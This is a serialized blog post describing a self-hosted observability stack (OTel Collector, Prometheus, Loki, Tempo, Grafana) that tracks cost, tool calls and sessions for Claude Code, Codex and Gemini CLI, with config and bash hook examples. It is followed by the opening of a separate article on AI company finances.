productivity","/images/the-eye-part2/claude-deep-dive.png",[1368,1440],{"alt":1441,"src":1442},"Claude Code Deep Dive – tools, productivity, timeseries","/images/the-eye-part2/claude-deep-dive-tools.png",[49,1444,1445,1446,1448,1449,1452,1453,1456],{},"Each provider gets its own deep dive. ",[1092,1447,1076],{}," – 27 panels: tokens, cost, cache, tool decisions, active coding time. ",[1092,1450,1451],{},"Codex"," – 26 panels: sessions, API latency percentiles, reasoning token ratio (twenty-three PromQL panels powered by those recording rules). ",[1092,1454,1455],{},"Gemini"," – 31 panels: token breakdown by type, latency heatmap, tool call routing. The most detail goes where the most telemetry lives.",[1236,1458,1460],{"id":1459},"session-timeline","Session Timeline",[49,1462,1463],{},"The eighth dashboard does something the others can't: it reconstructs time.",[49,1465,1466,1467,1469],{},"Each CLI's session-end hook parses the session log into synthetic OTLP traces and ships them to Tempo. The Claude parser alone – 265 lines of pure ",[72,1468,776],{}," – reconstructs tool call waterfalls, MCP timing, sub-agent invocations, and context compaction events from raw JSONL. Three parsers, one unified span schema, one Tempo backend.",[49,1471,1472],{},"Click a trace ID and you're in Grafana Explore, looking at the full waterfall of a thirty-minute coding session. The separate reality behind the agent's cheerful \"task completed successfully.\"",[49,1474,1475,1476],{},"The timeline answers a question no metric can: ",[1253,1477,1478],{},"what happened inside that session?",[102,1480],{},[44,1482,1484],{"id":1483},"the-nervous-system","The Nervous System",[49,1486,1487],{},"Dashboards are for the hours when you're watching. Alerts are for the hours when you're not.",[49,1489,1490],{},"Fifteen alert rules, three tiers:",[1063,1492,1493,1506],{},[1066,1494,1495],{},[1069,1496,1497,1500,1503],{},[1072,1498,1499],{},"Tier",[1072,1501,1502],{},"Rules",[1072,1504,1505],{},"What it catches",[1084,1507,1508,1524,1548],{},[1069,1509,1510,1515,1518],{},[1089,1511,1512],{},[1092,1513,1514],{},"Infrastructure",[1089,1516,1517],{},"6",[1089,1519,1520,1523],{},[72,1521,1522],{},"OTelCollectorDown",", export failures (spans, metrics, logs), memory limits",[1069,1525,1526,1531,1534],{},[1089,1527,1528],{},[1092,1529,1530],{},"Pipeline",[1089,1532,1533],{},"4",[1089,1535,1536,1031,1539,1031,1542,1031,1545],{},[72,1537,1538],{},"LokiDown",[72,1540,1541],{},"TempoDown",[72,1543,1544],{},"PrometheusTargetDown",[72,1546,1547],{},"LokiRecordingRulesFailing",[1069,1549,1550,1555,1558],{},[1089,1551,1552],{},[1092,1553,1554],{},"Business logic",[1089,1556,1557],{},"5",[1089,1559,1560,1563,1564,1567,1568,1031,1571,1031,1574],{},[72,1561,1562],{},"HighSessionCost"," (>$10/hr), ",[72,1565,1566],{},"HighTokenBurn"," (>50k tok/min), ",[72,1569,1570],{},"HighToolErrorRate",[72,1572,1573],{},"SensitiveFileAccess",[72,1575,1576],{},"NoTelemetryReceived",[49,1578,1579],{},"Inhibit rules suppress the noise: when the collector is down, business-logic alerts stay quiet.",[49,1581,1582,1584,1585,1587],{},[72,1583,1573],{}," fires when an agent touches your ",[72,1586,177],{},", credentials, or private keys. You'll know before the commit does.",[49,1589,1590,1591,1593],{},"That $47 session? ",[72,1592,1562],{}," would have fired at minute twelve. Not from an email at 9 AM – from a Telegram message while the agent was still running.",[49,1595,1596],{},"Monitoring watches the screen. Observability pulls the plug.",[102,1598],{},[44,1600,1602],{"id":1601},"what-the-eye-still-cant-see","What the Eye Still Can't See",[49,1604,1605,1606,1608],{},"The Eye sees what's instrumented. If a CLI doesn't support hooks, it's invisible. Every new CLI needs a hook script. Every new event type needs a ",[72,1607,776],{}," extraction. The wiring is manual.",[49,1610,1611],{},"Retention is seven days for logs and traces – enough to debug yesterday, not enough to spot trends over months. Prometheus metrics survive longer, but individual session context fades. You see the forest, lose the trees.",[49,1613,1614,1615,1617],{},"Claude Code doesn't export native traces – the table says \"–\" and it means it. Session reconstruction relies entirely on log parsing. If Anthropic adds trace export tomorrow, the stack is ready. Until then, the 265-line ",[72,1616,776],{}," parser carries the weight.",[49,1619,1620],{},"Cost tracking is native – each CLI reports its own spending. If a CLI's internal pricing table is wrong, the dashboard inherits the error. Trust but verify with your provider's billing page.",[102,1622],{},[44,1624,1626],{"id":1625},"what-comes-next","What Comes Next",[49,1628,1629],{},"The Eye is open. Six containers, one pipe, eight dashboards, fifteen alerts, and a meter that counts dollars while you sleep.",[49,1631,1632],{},"But dashboards don't prevent the $47 session – they just make it visible. The Eye shows patterns: an agent that reaches for Bash twelve times when a single Edit would do. A model that costs ten dollars for a task the smaller model solves for forty cents. Three CLIs, three separate tool registries – each agent wiring its own plumbing.",[49,1634,1635],{},"The Eye watches. It doesn't intervene.",[49,1637,1638],{},"Observability without governance is surveillance without consequence. You see the agent reach for Bash twelve times. You see the meter climb. You see the pattern – and the pattern doesn't care that you're watching.",[49,1640,1641,1642,1645],{},"What if every agent – Claude, Codex, Gemini – reached for the same toolkit? One tool registry. One permission layer. One gate that logs every call, routes every request, and can say ",[1253,1643,1644],{},"no"," when the rules say no.",[49,1647,1648],{},"The Eye needs a gate.",[49,1650,1651,1652,1655],{},"Next dispatch: ",[1092,1653,1654],{},"The Gate"," – one MCP hub, three CLIs, unified tooling.",[102,1657],{},[1659,1660,1663],"callout",{"color":1661,"icon":1662},"info","i-lucide-info",[49,1664,1665],{},"This blog is optimized for both human readers and LLM consumption.\nEvery article follows a clear heading hierarchy and is available via RSS and llms.txt",[1667,1668,1671,1677],"author-about",{":name":1669,":src":1670},"author","author_avatar",[1672,1673,1674],"template",{"v-slot:body":120},[49,1675,1676],{},"Building the system. Writing the field manual.",[1672,1678,1679],{"v-slot:actions":120},[1680,1681],"u-button",{"color":1682,"icon":1683,"target":1684,"title":1685,"to":1686,"variant":1687},"neutral","i-lucide-rss","_blank","RSS Feed","/feed.xml","subtle",[1689,1690,1691],"style",{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}",{"title":120,"searchDepth":158,"depth":168,"links":1693},[1694,1695,1696,1697,1698,1699,1702,1703,1711,1712,1713],{"id":46,"depth":158,"text":47},{"id":106,"depth":158,"text":107},{"id":131,"depth":158,"text":132},{"id":200,"depth":158,"text":201},{"id":652,"depth":158,"text":653},{"id":1054,"depth":158,"text":1055,"children":1700},[1701],{"id":1238,"depth":168,"text":1239},{"id":1268,"depth":158,"text":1269},{"id":1345,"depth":158,"text":1346,"children":1704},[1705,1706,1707,1708,1709,1710],{"id":1352,"depth":168,"text":1353},{"id":1377,"depth":168,"text":1378},{"id":1402,"depth":168,"text":1403},{"id":1415,"depth":168,"text":1416},{"id":1431,"depth":168,"text":1432},{"id":1459,"depth":168,"text":1460},{"id":1483,"depth":158,"text":1484},{"id":1601,"depth":158,"text":1602},{"id":1625,"depth":158,"text":1626},"2026-02-28T00:00:00.000Z","Clone a repo, run docker-compose, see eight dashboards in ten minutes. Three AI CLIs, one observability stack, zero Python. The Eye, deployed.","md",{},"---\ntitle: \"The Eye, Part 2: Wiring\"\ndate: 2026-02-28\ndescription: \"Clone a repo, run docker-compose, see eight dashboards in ten minutes. Three AI CLIs, one observability stack, zero Python. The Eye, deployed.\"\nseo_title: \"AI Agent Observability: Self-Hosted Grafana, Loki, Tempo Stack\"\nseo_description: \"Self-hosted AI agent observability – bash hooks, native OTel, Grafana dashboards, cost tracking, and session traces. Claude Code, Codex, Gemini CLI – one stack, zero dependencies.\"\ntags: [ claude, gemini, codex, opentelemetry, ai-observability, grafana, prometheus, docker, self-hosted, hands-on ]\nauthor: Shepard\nauthor_avatar: /icon.png\nauthor_description: \"AI Governance\"\nthumbnail: /icon.png\nsitemap:\n  lastmod: 2026-02-28\n---\n\n## The Eye, Unboxed\n\nThe last dispatch was philosophy. Three signals, four questions, and a submarine without sonar.\n\nIf you're here, you either read [Part 1](/articles/the-eye/) and came back for the wiring diagram – or you skipped it entirely and want the YAML. Both are valid. I don't judge. Much.\n\nThis is the practice. A [repository you can clone](https://github.com/shepard-system/shepard-obs-stack). Six containers. One `docker-compose up`. Eight dashboards glowing on your screen before your coffee goes cold.\n\nNo vendor. No invoice. No \"contact sales for pricing.\" Open-source. On your machine. Yours.\n\nBy the end of this dispatch you will have:\n\n- A running stack – Prometheus, Loki, Tempo, Grafana, Alertmanager – in six containers\n- Shell hooks + native OTel integration for three AI CLIs\n- Real-time cost tracking in dollars, not just tokens\n- Eight dashboards and fifteen alert rules that fire before the email arrives\n\nThat's the contract. Let's wire.\n\n---\n\n## The Stack in One Breath\n\nSix containers. One pipe. Three stores. One glass. One alarm.\n\n```\nCLI hooks ──[OTLP HTTP]──► OTel Collector ──► Prometheus (metrics)\n                                  │\nNative OTel ──[OTLP gRPC]─────────┤──► Loki (logs)\n                                  │\n                                  └──► Tempo (traces)\n\nLoki recording rules ──[remote write]──► Prometheus\n\nPrometheus ──► Alertmanager (alerts)\n\n                   all roads lead to\n                         ▼\n                   Grafana (8 dashboards)\n```\n\nTwo telemetry channels feed the same collector. Hooks emit OTLP counters – tool calls, events, git context – via HTTP. Native OTel from each CLI provides the rest – tokens, cost, logs, traces – via gRPC. The collector sorts everything into three stores.\n\nAlertmanager watches thresholds. Grafana renders the picture.\n\n---\n\n## Ten-Minute Deploy\n\n```bash\ngit clone https://github.com/shepard-system/shepard-obs-stack.git\ncd shepard-obs-stack\n./scripts/init.sh\n```\n\nThe init script creates a `.env` from the example, runs `docker compose up -d`, and waits for every service to pass its health check. Six containers start – OTel Collector, Prometheus, Loki, Tempo, Alertmanager, Grafana. Grafana opens on `localhost:3000` (default credentials: admin / shepherd). Eight dashboards in the Shepherd folder, pre-provisioned.\n\nThe Eye is open.\n\nBut it sees nothing – because nothing is talking to it yet.\n\nAn eye without a nerve is just glass.\n\n---\n\n## The Single Pipe\n\nThe OTel Collector config is the most important file in the stack. Sixty lines of YAML that decide where every signal goes.\n\n```yaml\n# configs/otel-collector/config.yaml (simplified)\nreceivers:\n  otlp:\n    protocols:\n      grpc:\n        endpoint: 0.0.0.0:4317    # native OTel from CLIs\n      http:\n        endpoint: 0.0.0.0:4318    # hook metrics (curl)\n\nprocessors:\n  deltatocumulative: # hooks fire DELTA counters (+1 per event)\n    max_stale: 10m   # converts them to cumulative for Prometheus\n\n  batch:\n    timeout: 5s\n\nexporters:\n  prometheus:\n    endpoint: \"0.0.0.0:8889\"\n    namespace: shepherd  # every metric gets shepherd_ prefix\n\n  otlphttp/loki:\n    endpoint: http://loki:3100/otlp\n\n  otlp/tempo:\n    endpoint: tempo:4317\n\nservice:\n  pipelines:\n    metrics:\n      receivers: [ otlp ]\n      processors: [ deltatocumulative, batch ]\n      exporters: [ prometheus ]\n    logs:\n      receivers: [ otlp ]\n      processors: [ batch ]\n      exporters: [ otlphttp/loki ]\n    traces:\n      receivers: [ otlp ]\n      processors: [ batch ]\n      exporters: [ otlp/tempo ]\n```\n\nThree pipelines. Three destinations. One entry point. Everything that speaks OTLP sends data to port 4317 or 4318, and the collector sorts it out.\n\nThe `deltatocumulative` processor bridges two worlds: hooks fire delta counters – each tool call increments by one, fire-and-forget – but Prometheus expects cumulative counters. Without it, every metric resets to zero after each scrape. The `shepherd` namespace prefixes everything with `shepherd_`. One prefix, no ambiguity.\n\nSixty lines between blindness and sight.\n\n---\n\n## The Hook, Not the SDK\n\nHere is where philosophy meets bash.\n\nThe original plan was a Python decorator. An SDK wrapper. Import this, configure that, initialize the other thing. The standard industry approach – which is why I threw it away.\n\nThe three AI CLIs I use – Claude Code, Codex, Gemini CLI – all support hooks. Shell commands that fire on events. The hook receives JSON. The hook does whatever it wants with that JSON.\n\nSo I wrote the simplest thing that could possibly work.\n\n```bash\n# hooks/lib/metrics.sh (simplified)\nemit_counter() {\n  local name=\"$1\"          # tool_calls | events\n  local value=\"$2\"         # 1\n  local labels_json=\"$3\"   # {\"source\":\"claude-code\",\"tool\":\"Bash\"}\n\n  # Build OTLP attributes from labels\n  local attrs\n  attrs=$(jq -c '[to_entries[] | {key: .key, value: {stringValue: .value}}]' \u003C\u003C\u003C \"$labels_json\")\n\n  # Build OTLP Sum metric payload – DELTA temporality, monotonic counter\n  local payload\n  payload=$(jq -n -c \\\n    --arg name \"$name\" --argjson value \"$value\" \\\n    --arg ts \"$(date +%s)000000000\" --argjson attrs \"$attrs\" \\\n    '{resourceMetrics: [{\n      resource: {attributes: [{key: \"service.name\", value: {stringValue: \"shepherd-hooks\"}}]},\n      scopeMetrics: [{metrics: [{\n        name: $name,\n        sum: {\n          dataPoints: [{asDouble: $value, timeUnixNano: $ts, attributes: $attrs}],\n          aggregationTemporality: 1,\n          isMonotonic: true\n        }\n      }]}]\n    }]}')\n\n  curl -s -o /dev/null -XPOST \"http://localhost:4318/v1/metrics\" \\\n    -H \"Content-Type: application/json\" -d \"$payload\" & disown\n}\n```\n\nThirty lines. `bash`, `curl`, `jq`. Three tools that exist on every Unix machine since the Clinton administration. The hook speaks native OTLP – the same protocol the $200/month SaaS platforms use, except this is thirty lines and a `curl` to localhost.\n\nThe `& disown` at the end is the entire performance strategy. Fire and forget. The hook pushes, the CLI continues. The agent never waits for observability. Observability waits for no one.\n\nA Python SDK would have been more elegant. This is more reliable. I'll take reliable over elegant every Tuesday – especially the $47 ones.\n\n---\n\n## Three CLIs, One Eye\n\nThree AI CLIs. Three hook mechanisms. One collector. One set of dashboards.\n\nHooks are only half the story. Each CLI also exports native OpenTelemetry – tokens, cost, logs, traces – through the same collector. Hooks provide what native OTel cannot: git repo context and labeled tool/event counters. Everything else comes from the CLIs themselves.\n\n|                    | Claude Code                                         | Codex CLI                       | Gemini CLI                                            |\n|--------------------|-----------------------------------------------------|---------------------------------|-------------------------------------------------------|\n| **Hooks**          | `PreToolUse`, `PostToolUse`, `SessionStart`, `Stop`  | `notify`                        | `AfterTool`, `AfterAgent`, `AfterModel`, `SessionEnd` |\n| **Hook input**     | stdin JSON                                          | positional arg                  | stdin JSON (must echo `{}` to stdout)                 |\n| **Hook emits**     | tool_calls + events                                 | events (turn_end only)          | tool_calls + events                                   |\n| **Native metrics** | cost (USD), tokens, sessions, active time           | – (via recording rules)         | tokens, tool calls, API requests, latency histograms  |\n| **Native logs**    | API calls, tool decisions, tool results             | tokens, model, latency per call | session events                                        |\n| **Native traces**  | –                                                   | yes                             | yes                                                   |\n| **Config path**    | `~/.claude/settings.json`                           | `~/.codex/config.toml`          | `~/.gemini/settings.json`                             |\n\nCodex is the odd one out – it doesn't emit native metrics, only logs and traces. The bridge: fifteen Loki recording rules that evaluate every minute, extract structured fields from log lines, and remote-write the results to Prometheus. Logs go in. Metrics come out. The Codex dashboard queries PromQL as if Codex emitted native metrics – the bridge is invisible.\n\n### Install\n\n```bash\n./hooks/install.sh\n```\n\nThe installer auto-detects which CLIs are present, backs up existing configs, injects the bash hooks *and* enables native OTel export – all via non-destructive `jq` merge. To verify the full pipeline, run `./scripts/test-signal.sh`. Eleven checks, pass/fail. If the pipe leaks, you'll know which joint.\n\n---\n\n## What the Eye Watches\n\nTwo hook metrics flow into Prometheus. `shepherd_tool_calls_total` labeled by `source`, `tool`, `tool_status`, `git_repo`. `shepherd_events_total` labeled by `source`, `event_type`, `git_repo`. That's all the hooks produce. The dimensions are what make them useful.\n\nCost comes from native OTel. Here's what the Eye saw in one real session – this article being written:\n\n- Input tokens: 469\n- Output tokens: 26,996\n- Cache reads: 26,364,893\n- Cost: **$47**\n\nTwenty-six million cached tokens. That's not a typo. A long session with Opus means the context gets re-read on every turn. Cache reads are cheap – $1.50 per million instead of $15 for fresh input – but twenty-six million of anything adds up.\n\nThe [$47 Tuesday](/articles/fear-and-loathing-in-the-gas-town/) would have been a $5 Tuesday with this dashboard open. Not because the dashboard changes the cost. Because the dashboard changes the *behavior*.\n\nYou don't run an agent for eight hours when you can see the meter running.\n\nYou can't optimize a black box. You can optimize glass.\n\n---\n\n## Eight Dashboards\n\nFour unified dashboards answering the four questions from Part 1. Three provider deep dives. One session timeline. The full eight: Cost, Tools, Operations, Quality, Claude Code Deep Dive, Codex Deep Dive, Gemini Deep Dive, Session Timeline.\n\n### Cost – \"How much?\"\n\n```promql\nsum(increase(shepherd_claude_code_cost_usage_USD_total[$__range]))\n```\n\n![Cost Dashboard – total cost, tokens, sessions, cache efficiency](/images/the-eye-part2/cost-dashboard.png)\n\nOne stat panel. Green below $5. Yellow at $5. Red at $20. The color tells you everything before the number does. Cost by model, cache efficiency, token usage over time, and a session details table with every session's bill.\n\n### Tools – \"Who is wandering?\"\n\n```promql\ntopk(10, sum by (tool) (increase(shepherd_tool_calls_total[$__range])))\n```\n\n![Tools Dashboard – call counts, top 10 tools, error rates](/images/the-eye-part2/tools-dashboard.png)\n\nTotal calls, calls per minute, top 10 tools ranked by frequency, and the Failing Tools bar gauge – tool name, error count, sorted by shame. Bash leads with the most errors in my stack. Not because Bash is broken – because Bash is where agents try things that don't work.\n\nThe error rate is the honesty metric. An agent with zero errors is either perfect or silent about its failures.\n\n### Operations – \"What's happening now?\"\n\n![Operations Dashboard – events per minute, source breakdown, live log feed](/images/the-eye-part2/operations-dashboard.png)\n\nEvents per minute. Source breakdown. A raw Loki log stream at the bottom – when you're debugging, you need a scrolling terminal, not a dashboard. This is that terminal, in Grafana.\n\n### Quality – \"Is the system getting better?\"\n\n![Quality Dashboard – sessions, cache efficiency, token trends, productivity](/images/the-eye-part2/quality-dashboard.png)\n\nSession counts over time. Cache hit rate gauge. In my stack right now: 92.6% cache efficiency across 8 sessions. The dashboard didn't change the system. The system changed because someone was looking.\n\nNobody checks this dashboard daily. It's the most important one.\n\n### Deep Dives\n\n![Claude Code Deep Dive – tokens, cost, cache, tool decisions, productivity](/images/the-eye-part2/claude-deep-dive.png)\n![Claude Code Deep Dive – tools, productivity, timeseries](/images/the-eye-part2/claude-deep-dive-tools.png)\n\nEach provider gets its own deep dive. **Claude Code** – 27 panels: tokens, cost, cache, tool decisions, active coding time. **Codex** – 26 panels: sessions, API latency percentiles, reasoning token ratio (twenty-three PromQL panels powered by those recording rules). **Gemini** – 31 panels: token breakdown by type, latency heatmap, tool call routing. The most detail goes where the most telemetry lives.\n\n### Session Timeline\n\nThe eighth dashboard does something the others can't: it reconstructs time.\n\nEach CLI's session-end hook parses the session log into synthetic OTLP traces and ships them to Tempo. The Claude parser alone – 265 lines of pure `jq` – reconstructs tool call waterfalls, MCP timing, sub-agent invocations, and context compaction events from raw JSONL. Three parsers, one unified span schema, one Tempo backend.\n\nClick a trace ID and you're in Grafana Explore, looking at the full waterfall of a thirty-minute coding session. The separate reality behind the agent's cheerful \"task completed successfully.\"\n\nThe timeline answers a question no metric can: *what happened inside that session?*\n\n---\n\n## The Nervous System\n\nDashboards are for the hours when you're watching. Alerts are for the hours when you're not.\n\nFifteen alert rules, three tiers:\n\n| Tier               | Rules | What it catches                                                                              |\n|--------------------|-------|----------------------------------------------------------------------------------------------|\n| **Infrastructure** | 6     | `OTelCollectorDown`, export failures (spans, metrics, logs), memory limits                   |\n| **Pipeline**       | 4     | `LokiDown`, `TempoDown`, `PrometheusTargetDown`, `LokiRecordingRulesFailing`                |\n| **Business logic** | 5     | `HighSessionCost` (>$10/hr), `HighTokenBurn` (>50k tok/min), `HighToolErrorRate`, `SensitiveFileAccess`, `NoTelemetryReceived` |\n\nInhibit rules suppress the noise: when the collector is down, business-logic alerts stay quiet.\n\n`SensitiveFileAccess` fires when an agent touches your `.env`, credentials, or private keys. You'll know before the commit does.\n\nThat $47 session? `HighSessionCost` would have fired at minute twelve. Not from an email at 9 AM – from a Telegram message while the agent was still running.\n\nMonitoring watches the screen. Observability pulls the plug.\n\n---\n\n## What the Eye Still Can't See\n\nThe Eye sees what's instrumented. If a CLI doesn't support hooks, it's invisible. Every new CLI needs a hook script. Every new event type needs a `jq` extraction. The wiring is manual.\n\nRetention is seven days for logs and traces – enough to debug yesterday, not enough to spot trends over months. Prometheus metrics survive longer, but individual session context fades. You see the forest, lose the trees.\n\nClaude Code doesn't export native traces – the table says \"–\" and it means it. Session reconstruction relies entirely on log parsing. If Anthropic adds trace export tomorrow, the stack is ready. Until then, the 265-line `jq` parser carries the weight.\n\nCost tracking is native – each CLI reports its own spending. If a CLI's internal pricing table is wrong, the dashboard inherits the error. Trust but verify with your provider's billing page.\n\n---\n\n## What Comes Next\n\nThe Eye is open. Six containers, one pipe, eight dashboards, fifteen alerts, and a meter that counts dollars while you sleep.\n\nBut dashboards don't prevent the $47 session – they just make it visible. The Eye shows patterns: an agent that reaches for Bash twelve times when a single Edit would do. A model that costs ten dollars for a task the smaller model solves for forty cents. Three CLIs, three separate tool registries – each agent wiring its own plumbing.\n\nThe Eye watches. It doesn't intervene.\n\nObservability without governance is surveillance without consequence. You see the agent reach for Bash twelve times. You see the meter climb. You see the pattern – and the pattern doesn't care that you're watching.\n\nWhat if every agent – Claude, Codex, Gemini – reached for the same toolkit? One tool registry. One permission layer. One gate that logs every call, routes every request, and can say *no* when the rules say no.\n\nThe Eye needs a gate.\n\nNext dispatch: **The Gate** – one MCP hub, three CLIs, unified tooling.\n\n---\n\n::callout{icon=\"i-lucide-info\" color=\"info\"}\nThis blog is optimized for both human readers and LLM consumption.\nEvery article follows a clear heading hierarchy and is available via RSS and llms.txt\n::\n\n::author-about{:src=\"author_avatar\" :name=\"author\"}\n#body\nBuilding the system. Writing the field manual.\n\n#actions\n:u-button{icon=\"i-lucide-rss\" to=\"/feed.xml\" title=\"RSS Feed\" variant=\"subtle\" color=\"neutral\" target=\"_blank\"}\n::\n",{"title":26,"description":1715},"Self-hosted AI agent observability – bash hooks, native OTel, Grafana dashboards, cost tracking, and session traces. Claude Code, Codex, Gemini CLI – one stack, zero dependencies.","AI Agent Observability: Self-Hosted Grafana, Loki, Tempo Stack",{"loc":27,"lastmod":1723},"2026-02-28",[1725,1726,1727,1728,1729,1730,1731,1732,1733,1734],"claude","gemini","codex","opentelemetry","ai-observability","grafana","prometheus","docker","self-hosted","hands-on","lPGB7tIzBPqLVvZd3w0C2EdPLqHyQAOOEreUy7dScHk",{"id":1737,"title":10,"author":37,"author_avatar":38,"author_description":39,"body":1738,"date":2343,"description":2344,"extension":1716,"meta":2345,"navigation":292,"path":11,"rawbody":2346,"seo":2347,"seo_description":2348,"seo_title":2349,"sitemap":2350,"stem":12,"tags":2352,"thumbnail":38,"__hash__":2358},"articles/articles/faith-based-arithmetic.md",{"type":41,"value":1739,"toc":2331},[1740,1744,1750,1753,1756,1759,1771,1774,1776,1780,1783,1786,1789,1799,1801,1805,1808,1896,1899,1904,1907,1910,1912,1916,1919,1926,2031,2034,2041,2044,2046,2050,2053,2056,2062,2065,2071,2074,2077,2083,2086,2089,2091,2095,2098,2104,2110,2116,2122,2125,2128,2131,2133,2137,2140,2146,2149,2156,2170,2176,2182,2188,2191,2194,2196,2200,2206,2209,2212,2215,2222,2225,2228,2231,2238,2240,2244,2247,2253,2260,2263,2273,2276,2282,2284,2288,2291,2294,2297,2300,2303,2306,2309,2315,2317,2321],[44,1741,1743],{"id":1742},"the-number","The Number",[49,1745,1746,1747,1749],{},"I wasn't planning to write this dispatch. I was wiring up monitoring dashboards for ",[56,1748,22],{"href":58},", doing\nthe quiet work – when a number landed on my screen that made me put down my coffee.",[49,1751,1752],{},"One hundred and forty-three billion dollars.",[49,1754,1755],{},"That's the projected negative free cash flow for OpenAI from 2024 through 2029. $143 billion in the hole before the\nfirst dollar of profit. More than NASA has spent since the Apollo program. Burned through in six years by a company that\nsells chatbot subscriptions and API calls.",[49,1757,1758],{},"The analysts wrote a sentence I keep coming back to:",[1760,1761,1762],"blockquote",{},[49,1763,1764],{},[1253,1765,1766,1767,1770],{},"\"No startup in history has operated with losses on anything approaching this scale. ",[1768,1769],"br",{},"\nWe are firmly in uncharted territory.\"",[49,1772,1773],{},"Uncharted territory is where people get lost. But the fundraising doesn't care about maps – it cares about faith.",[102,1775],{},[44,1777,1779],{"id":1778},"the-collection-plate","The Collection Plate",[49,1781,1782],{},"On February 12, 2026 – yesterday, as I write this – Anthropic closed its Series G. Thirty billion dollars.\nValuation: $380 billion. Led by GIC and Coatue. Total raised to date: approximately $64 billion.",[49,1784,1785],{},"The same week, OpenAI is negotiating what could become the largest private funding round in history: up\nto $100 billion, at a valuation of $830 billion. Amazon, Microsoft, and Nvidia are at the table. Total previously\nraised: also roughly $64 billion.",[49,1787,1788],{},"Two companies. Neither profitable. Combined fundraising: $128 billion and counting. Combined valuation: $1.2 trillion.\nCombined annual profit: negative.",[49,1790,1791,1792,1795,1796],{},"There has never been this much money invested in two companies that have never turned a profit. Not in railroads. Not in\ntelecoms. Not in the dot-com boom. Not in crypto. This is new. The kind of new where the map says ",[1253,1793,1794],{},"here be dragons"," and\nthe venture capitalists say ",[1253,1797,1798],{},"the dragons will monetize in 2030.",[102,1800],{},[44,1802,1804],{"id":1803},"the-spreadsheet","The Spreadsheet",[49,1806,1807],{},"The numbers are public now – pieced together from WSJ documents, Fortune, The Information, and company disclosures.\nHere's what OpenAI's ledger looks like:",[1063,1809,1810,1826],{},[1066,1811,1812],{},[1069,1813,1814,1817,1820,1823],{},[1072,1815,1816],{},"Period",[1072,1818,1819],{},"Revenue",[1072,1821,1822],{},"Losses",[1072,1824,1825],{},"Note",[1084,1827,1828,1842,1856,1870,1883],{},[1069,1829,1830,1833,1836,1839],{},[1089,1831,1832],{},"FY 2024",[1089,1834,1835],{},"$3.7B",[1089,1837,1838],{},"~$5B",[1089,1840,1841],{},"First full-year figures",[1069,1843,1844,1847,1850,1853],{},[1089,1845,1846],{},"H1 2025",[1089,1848,1849],{},"$4.3B",[1089,1851,1852],{},"$13.5B",[1089,1854,1855],{},"Incl. $6.7B R&D, $2.5B SBC",[1069,1857,1858,1861,1864,1867],{},[1089,1859,1860],{},"FY 2025 (est.)",[1089,1862,1863],{},"~$12-13B",[1089,1865,1866],{},"~$8-9B cash burn",[1089,1868,1869],{},"Revenue doubling monthly",[1069,1871,1872,1875,1877,1880],{},[1089,1873,1874],{},"FY 2028 (projected)",[1089,1876,1204],{},[1089,1878,1879],{},"$74B operating loss",[1089,1881,1882],{},"Per WSJ-published docs",[1069,1884,1885,1888,1891,1893],{},[1089,1886,1887],{},"2024–2029 cumulative",[1089,1889,1890],{},"$345B (forecast)",[1089,1892,1204],{},[1089,1894,1895],{},"–$143B FCF",[49,1897,1898],{},"OpenAI forecasts $345 billion in revenue between 2024 and 2029. Compute expenses alone are projected at $488 billion\nover the same period.",[49,1900,1901],{},[1092,1902,1903],{},"The more they sell, the more they lose.",[49,1905,1906],{},"This is not a company searching for product-market fit. They found the fit. Eight hundred million weekly active users.\nMore than ten million paying subscribers. Genuine, massive, undeniable traction.",[49,1908,1909],{},"And for every dollar in, a dollar forty goes out.",[102,1911],{},[44,1913,1915],{"id":1914},"the-14-trillion-tab","The $1.4 Trillion Tab",[49,1917,1918],{},"But that's the income statement. The balance sheet is where it gets truly surreal.",[49,1920,1921,1922,1925],{},"In a single year – 2025 – OpenAI announced infrastructure commitments worth over ",[1092,1923,1924],{},"$1.4 trillion",".\nNot all signed contracts – some are MOUs, some are multi-year frameworks – but the scale is real:",[1063,1927,1928,1941],{},[1066,1929,1930],{},[1069,1931,1932,1935,1938],{},[1072,1933,1934],{},"Partner",[1072,1936,1937],{},"Committed 